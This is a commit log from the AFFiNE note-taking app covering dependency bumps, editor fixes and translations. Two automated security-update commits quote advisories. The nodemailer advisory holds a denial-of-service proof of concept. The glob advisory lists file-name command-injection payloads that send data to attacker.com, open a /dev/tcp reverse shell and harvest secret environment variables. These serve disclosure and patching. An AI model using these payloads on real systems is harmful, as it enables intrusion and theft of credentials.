* Added Polish language support to the application, including localized
language name, native language name, and flag emoji.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-10 12:12:47 +00:00
DarkSky
cb0ff04efa feat: bump more deps (#14079) 2025-12-10 16:02:28 +08:00
DarkSky
40f3337d45 feat: bump deps (#14076)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Updated core dependencies, developer tooling and Rust toolchain to
newer stable versions across the repo
* Upgraded Storybook to v10 and improved ESM path resolution for
storybook tooling
* Broadened native binding platform/architecture support and
strengthened native module version validation, loading and WASI handling

* **New Features**
* Exposed an additional native text export for consumers (enhanced
JS/native surface)

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-10 03:52:14 +08:00
DarkSky
215541d331 feat: improve indexing perf with native indexer (#14066)
fix #12132, #14006, #13496, #12375, #12132 

The previous idb indexer generated a large number of scattered writes
when flushing to disk, which caused CPU and disk write spikes. If the
document volume is extremely large, the accumulation of write
transactions will cause memory usage to continuously increase.

This PR introduces batch writes to mitigate write performance on the web
side, and adds a native indexer on the Electron side to greatly improve
performance.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Full-text search (FTS) added across storage layers and native plugins:
indexing, search, document retrieval, match ranges, and index flushing.
* New SQLite-backed indexer storage, streaming search/aggregate APIs,
and in-memory index with node-building and highlighting.

* **Performance**
* Indexing rewritten for batched, concurrent writes and parallel
metadata updates.
* Search scoring enhanced to consider multiple term positions and
aggregated term data.

* **Other**
  * Configurable refresh interval and indexer version bump.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-09 22:04:50 +08:00
Carson Yang
90d0ca847a docs(README): Update README with new Sealos features (#14067)
Updated the README to reflect changes in Sealos description, features,
and deployment links.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Added Sealos-related badges and links to the Self-Host section in the
README.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-09 14:37:00 +08:00
DarkSky
255b4571c0 chore: bump x86 mac ci 2025-12-09 11:29:44 +08:00
DarkSky
2efb41fc1a chore: change releaser 2025-12-09 10:39:31 +08:00
DarkSky
027f741ed6 chore: bump deps (#14065)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Updated dependency versions across the monorepo (notably zod →
^3.25.76 and vitest-related packages → ^3.2.4), plus minor package bumps
to align tooling and libraries. These are manifest/test-tooling updates
only; no public API, behavior, or end-user features were changed.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-08 21:47:25 +08:00
DarkSky
bc115baf35 chore: update docs 2025-12-08 11:39:22 +08:00
DarkSky
776ca2c702 chore: bump version 2025-12-08 10:47:37 +08:00
renovate[bot]
903e0c4d71 chore: bump up nodemailer version to v7.0.11 [SECURITY] (#14062)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.9`
-> `7.0.11`](https://renovatebot.com/diffs/npm/nodemailer/7.0.9/7.0.11)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/7.0.11?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/7.0.9/7.0.11?slim=true)
|

### GitHub Vulnerability Alerts

####
[GHSA-rcmh-qjqh-p98v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v)

### Summary
A DoS can occur that immediately halts the system due to the use of an
unsafe function.

### Details
According to **RFC 5322**, nested group structures (a group inside
another group) are not allowed. Therefore, in
lib/addressparser/index.js, the email address parser performs flattening
when nested groups appear, since such input is likely to be abnormal.
(If the address is valid, it is added as-is.) In other words, the parser
flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be
exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to
separate members within a group.
At the following location in lib/addressparser/index.js:


https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the
email address parser attempts to process the following kind of malicious
address header:

```g0: g1: g2: g3: ... gN: victim@example.com;```

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
`addressparser → _handleAddress → addressparser → ...`
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:
```js
if (isGroup) {
    ...
    if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}
```
`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

### PoC

```
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);
```
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

### Impact
The attacker can achieve the following:

1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

### [`v7.0.11`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7011-2025-11-26)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.10...v7.0.11)

##### Bug Fixes

- prevent stack overflow DoS in addressparser with deeply nested groups ([b61b9c0](b61b9c0cfd))

### [`v7.0.10`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7010-2025-10-23)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.9...v7.0.10)

##### Bug Fixes

- Increase data URI size limit from 100KB to 50MB and preserve content type ([28dbf3f](28dbf3fe12))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zMi4yIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-08 10:45:06 +08:00
DarkSky
f29e47e9d2 feat: improve oauth (#14061)
fix #13730
fix #12901
fix #14025
2025-12-08 10:44:41 +08:00
Daniel Dybing
6e6b85098e fix(core): handle image-blob reduce errors more gracefully (#14056)
This PR is related to issue
https://github.com/toeverything/AFFiNE/issues/14018

When uploading a new profile photo avatar the Pica function, which is
responsible for reducing and resizing the profile photo, may crash if
the browser's Fingerprint Protection is enabled. This is because
Fingerprint Protection prevents Pica from modifying the canvas.

This fix introduces a try-catch inside the function that calls the
reduction and resizing of the photo. Also, the Error object is no longer
passed directly to the notification service, which also caused issues
previously. Now a message will appear that tells the user that the
upload failed and to check the browser's fingerprint protection (check
photo below).

Affected files: packages/frontend/core/src/utils/reduce-image.ts

<img width="408" height="136" alt="new_error"
src="https://github.com/user-attachments/assets/d140e17c-8c13-4f4b-bdf7-7dd5ddc5c917"
/>

I'm open to any suggestions in terms of wording of the error messages. 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved error handling for image compression with clearer,
user-facing messages when compression is blocked or fails.
* Ensures the original or reduced image is reliably returned as a
fallback if compression is not performed.
* Preserves file metadata (original lastModified, name, type) when
returning processed files.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-07 21:59:07 +08:00
DarkSky
cf14accd2b fix: unstable test 2025-12-07 20:22:43 +08:00
DarkSky
cf4e37c584 feat(native): native reader for indexer (#14055) 2025-12-07 16:22:11 +08:00
DarkSky
69cdeedc4e fix: lint 2025-12-06 17:55:14 +08:00
Zegnos
0495fac6f1 feat(i18n): update FR translate & corrections (#14052)
Added a complete French translation for several user interface elements.

Updated existing translation strings to improve consistency and clarity.

Corrected inaccurate or unclear wording in the language files.

Harmonized terminology to maintain a uniform vocabulary across the
interface.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Localization**
  * Corrected Spanish branding text for AFFiNE consistency.
* Expanded French locale with many new keys (AI features, calendar,
import/doc labels, shortcuts).
* Trimmed trailing spaces and fixed grammar, punctuation, diacritics
across French strings.
* Added French "Copied to clipboard" confirmation and other refined UI
labels.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-06 17:53:10 +08:00
DarkSky
5cac8971eb fix: apple sign (#14053) 2025-12-06 15:36:50 +08:00
Whitewater
1196101226 fix(editor): use onBlur for input handling in property menu (#14049)
Eliminate mobile-specific input handling from the property menu to
streamline functionality across devices.


Before


https://github.com/user-attachments/assets/563857c9-6d2f-4c38-9359-7e3e74dfb531


After


https://github.com/user-attachments/assets/0126b966-cdc2-40b7-b416-3a0e8be4aedf


Maybe related to
https://github.com/toeverything/blocksuite/pull/7524/files#diff-25406bbadb23338f3120c8d0c5e1e8485173750a57f1ba3d7a51be1c9f548696
https://github.com/toeverything/blocksuite/pull/8787/files#diff-36fb3de4c5129393febe0286eb10e9ebb791296500dc4229c9d609b9ed5e138c

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved input field responsiveness by enhancing event handling for
blur interactions.
  
* **Improvements**
* Unified input component behavior across all platforms for more
consistent user experience.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-05 14:37:15 +08:00
congzhou09
bcc892c8ec fix(editor): one-time size mismatch during surface-block resize after zoom change in edgeless mode (#14019)
### Problem

There's a one-time content-size mismatch during surface-block resize
after a zoom change in edgeless mode, as shown in the image and video
below.

<img width="885" height="359" alt="图片"
src="https://github.com/user-attachments/assets/97a85924-1ca1-4b48-b334-6f19c7c41f49"
/>



https://github.com/user-attachments/assets/1c0e854c-b12e-4edc-9266-6358e0cf9d5a


### Reason and resolve

`Viewport` maintains a `_cachedBoundingClientRect` that stores the
synced-doc-block’s bounding box size. This cache is cleared by a
ResizeObserver on resizing.

In `EmbedSyncedDocBlockComponent`, `fitToContent()` depends on this
cache, and is triggered by another ResizeObserver registered in
`_initEdgelessFitEffect()`.

Since `_initEdgelessFitEffect()` is invoked before the `Viewport`’s
ResizeObserver is registered — dut to `_renderSyncedView()` not being
called for the first-time in `renderBlock()` — `fitToContent()` reads a
stale cached value at the beginning of the resize, resulting in the
one-time content-size mismatch.

This PR ensures that `_initEdgelessFitEffect()` is called after the
registration of the ResizeObserver in `Viewport`.

### After



https://github.com/user-attachments/assets/e95815e2-0575-4108-a366-ea5c00efe482



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved initialization sequence for embedded synced documents to
ensure proper rendering and resize handling, preventing potential issues
with stale data during component setup.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 23:29:19 +08:00
Daniel Dybing
88a2e4aa4b fix: improved error description of proxy size limits (#14016)
**Summary:**
This PR improves the user feedback when encountering an HTTP 413
(_CONTENT_TOO_LARGE)_ error caused by a file size limit in the proxy /
ingress controller in a self-hosted environment.

**Example scenario:**
A self-hosted environment serves AFFiNE through an nginx proxy, and the
`client_max_body_size` variable in the configuration file is set to a
smaller size (e.g. 1MB) than AFFiNE's own file size limit (typically
100MB). Previously, the user would get an error saying the file is
larger than 100MB regardless of file size, as all of these cases
resulted in the same internal error. With this fix, the
_CONTENT_TOO_LARGE_ error is now handled separately and gives better
feedback to the user that the failing upload is caused by a fault in the
proxy configuration.

**Screenshot of new error message**

<img width="798" height="171" alt="1MB_now"
src="https://github.com/user-attachments/assets/07b00cd3-ce37-4049-8674-2f3dcb916ab5"
/>


**Affected files:**
  1. packages/common/nbstore/src/storage/errors/over-size.ts
  2. packages/common/nbstore/src/impls/cloud/blob.ts


I'm open to any suggestions in terms of the wording used in the message
to the user. The fix has been tested with an nginx proxy.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved user-facing error messages for file upload failures. When an
upload exceeds the file size limit, users now receive a clearer message
indicating that the upload was stopped by the network proxy due to the
size restriction, providing better understanding of why the upload was
rejected.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 12:06:07 +08:00
congzhou09
0bedaaadba fix(editor): surface-block canvas size not fitting its container in edgeless mode when zoom is not 1 (#14015)
### Problem
●In edgeless mode, the embed-edgeless-doc's content does not match the
size of its outer block when zoom ≠ 1.
●The follwing image and video show the issue at zoom = 0.5.

<img width="610" height="193" alt="图片"
src="https://github.com/user-attachments/assets/c50849c6-d55b-4175-9b70-218f69ab976a"
/>


https://github.com/user-attachments/assets/ea7e7cc4-64ae-4747-8124-16c4eea6458e

### Reason and resolve
●The issue occurs because the surface-block canvas uses the container’s
dimensions obtained from getBoundingClientRect(), which are already
affected by the CSS transform. The canvas is then transformed again
together with the container, causing the size mismatch.
●To keep all drawing operations in the surface-block’s original
coordinate space, we apply a reverse transform to the canvas.

### After


https://github.com/user-attachments/assets/6c802b81-d520-44a0-9f01-78d0d60d37b8



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Canvas rendering now properly responds to viewport zoom levels. Visual
scaling is applied dynamically to ensure canvases align correctly with
viewport scaling, providing consistent and accurate rendering during
zoomed interactions while preserving original canvas dimensions.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 02:31:18 +00:00
Daniel Dybing
1d9fe3b8d9 fix(core): pressing ENTER on database title now switches focus instead of creating new record (#13975)
Initial bug report: Issue
https://github.com/toeverything/AFFiNE/issues/13966

Description of bug: When a database header/title is in focus and the
user presses ENTER, a new record is created and shown to the user.

Expected outcome: When the user presses enter in the header title field,
the new title should be applied and then the title field should loose
focus.

Short summary of fix: When the ENTER key is pressed within the title,
the `onPressEnterKey()` function is called. As of now, this calls the
function `this.dataViewLogic.addRow?.('start');` which creates a new
record. In this fix, this has been changed to `this.input.blur()` which
instead essentially switches focus away from the title field and does
not create a new record, as expected.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Modified Enter key behavior in the database title field. Pressing
Enter now blurs the input instead of automatically inserting a new row.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-21 12:41:39 +00:00
DarkSky
33a014977a chore: ignore empty key 2025-11-19 13:46:11 +08:00
Altamir Benkenstein
221c493c56 feat(server): add Brazilian Portuguese translation support (#13725)
* Added 'Brazilian Portuguese' to the list of supported translation
languages in both backend and frontend.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added Brazilian Portuguese as a supported translation language across
the app.
* Brazilian Portuguese now appears in language selection for translation
actions.
* AI translation prompts now include Brazilian Portuguese as a valid
target option.
  * No other translation behaviors or controls were modified.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 15:09:48 +08:00
ents1008
6c36fc5941 fix(editor): switch to PanTool on same frame for middle mouse; restore selection snapshot (#13911)
Bug: In Edgeless mode, pressing and dragging the middle mouse button
over any element incorrectly triggers DefaultTool in the same frame,
causing unintended selection/drag instead of panning. Dragging on empty
area works because no element intercepts left-click logic.

Reproduction:
- Open an Edgeless canvas
- Press and hold middle mouse button over a shape/text/any element and
drag
- Expected: pan the canvas
- Actual: the element gets selected or moved; no panning occurs

Root cause:
1. PanTool switched via requestAnimationFrame; the current frame’s
pointerDown/pointerMove were handled by DefaultTool first (handing
middle mouse to left-click logic).
2. Selection restore used a live reference to
`this.gfx.selection.surfaceSelections`, which could be mutated by other
selection logic during the temporary pan, leading to incorrect
restoration.

Fix:
- Switch to PanTool immediately on the same frame when middle mouse is
pressed; add a guard to avoid switching if PanTool is already active.
- Snapshot `surfaceSelections` using `slice()` before the temporary
switch; restore it on `pointerup` so external mutations won’t affect
restoration.
- Only register the temporary `pointerup` listener when actually
switching; on release, restore the previous tool (including
`frameNavigator` with `restoredAfterPan: true`) and selection.
Additionally, disable black background when exiting from frameNavigator.

Affected files:
- blocksuite/affine/gfx/pointer/src/tools/pan-tool.ts

Tests:
-
packages/frontend/core/src/blocksuite/__tests__/pan-tool-middle-mouse.spec.ts
- Verifies immediate PanTool switch, selection snapshot restoration,
frameNavigator recovery flag, and no-op when PanTool is already active.

Notes:
- Aligned with docs/contributing/tutorial.md. Local validation
performed. Thanks for reviewing!

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Prevented accidental re-activation of the middle-click pan tool.
* Preserved and restored the user's selection and previous tool options
after panning, including correct handling when returning to the frame
navigator.
* Ensured immediate tool switch to pan and reliable cleanup on
middle-button release.

* **Tests**
* Added tests covering middle-click pan behavior, restoration flows, and
no-op when pan is already active.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 14:26:27 +08:00
DarkSky
477e6f4106 fix: lint 2025-11-18 14:14:41 +08:00
renovate[bot]
b7ebe3d0d6 chore: bump up glob version to v11.1.0 [SECURITY] (#13976)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`11.0.2` ->
`11.1.0`](https://renovatebot.com/diffs/npm/glob/11.0.2/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/11.0.2/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-11-18 13:43:14 +08:00
Adit Syed Afnan
20ba8875c1 feat(core): pixelated to image component to improve clarity for low-resolution images (#13968)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated rendering quality for images displayed in chat content,
applying a pixelated effect to both row and column layouts.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 13:42:48 +08:00
DarkSky
8544e58c01 fix: transaction timeout 2025-11-18 13:41:25 +08:00
DarkSky
36a08190e0 fix: prettier 2025-11-17 22:04:21 +08:00
DarkSky
b229c96ee5 fix: lint 2025-11-17 21:57:34 +08:00
DarkSky
62fe6982fb chore: cleanup logs 2025-11-16 11:13:56 +08:00
DarkSky
3a13bdcc3d fix: ci 2025-11-16 00:43:30 +08:00
Mau Nguyen
71d682c1c0 feat(editor): add font size adjustment in editor settings (#13549)
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-11-15 23:57:17 +08:00
DarkSky
d90eeffe84 fix: ci 2025-11-15 23:52:14 +08:00
DarkSky
12fe7a5ced fix: flatpak build 2025-11-15 22:01:24 +08:00
Roger Clotet
a35bcdc3ef feat(i18n): add missing catalan strings (#13914)
I'm a native Catalan and Spanish speaker. 

There are lots of changes, if I notice something is off when using it,
I'll submit more patches to improve it.

One decision I'm not sure about is keeping "edgeless" as the
translation, since it's difficult to find a proper way of saying it
that's not too similar to "borderless" or "without borders" in Catalan.
I noticed Spanish has some of the strings as "Edgeless" and others "sin
bordes", so I'm guessing this is a bit subjective and in my opinion
leaving it unchanged is easier to understand than if poorly translated.
2025-11-15 21:27:05 +08:00
DarkSky
29cb937493 feat(native): add events feature for yocto 2025-11-15 21:17:02 +08:00
AKY
e52bcb7fd6 feat(i18n): korean translation (#13733)
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-15 19:31:19 +08:00
DarkSky
4e082e4170 chore: bump version 2025-11-15 17:29:54 +08:00
DarkSky
46958867ef fix(editor): mermaid style pollution (#13950)
fix #13546
2025-11-15 17:26:08 +08:00
DarkSky
beb09300b9 fix(editor): date picker in year (#13948)
fix #13582
2025-11-15 16:56:24 +08:00
github-actions[bot]
f644454c5c chore(i18n): sync translations (#13949)
New Crowdin translations by [Crowdin GH
Action](https://github.com/crowdin/github-action)

Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
2025-11-15 16:30:48 +08:00
DarkSky
1654d8efe4 feat: improve sub sync (#13932) 2025-11-15 15:52:35 +08:00
DarkSky
46e7d9fab7 chore: bump electron (#13935)
fix #13647

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## Release Notes

* **Chores**
* Updated development tooling and build dependencies to latest stable
versions
  * Increased minimum Node.js requirement to version 22
  * Updated macOS deployment target to version 11.6
  * Enhanced type safety and error handling in build processes
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-15 15:52:04 +08:00
Xun Sun
17ec76540b feat(editor): import docs from docx (#11774)
Support importing .docx files, as mentioned in
https://github.com/toeverything/AFFiNE/issues/10154#issuecomment-2655744757

It essentially uses mammoth to convert the docx to html, and then
imports the html with the standard steps.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Import Microsoft Word (.docx) files directly via the import dialog
(creates new documents).
* .docx added as a selectable file type in the file picker and import
options.

* **Localization**
* Added localized labels and tooltips for DOCX import in English,
Simplified Chinese, and Traditional Chinese.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-11-15 15:51:23 +08:00
DarkSky
e5db0e66c1 chore: update schema 2025-11-15 14:45:18 +08:00
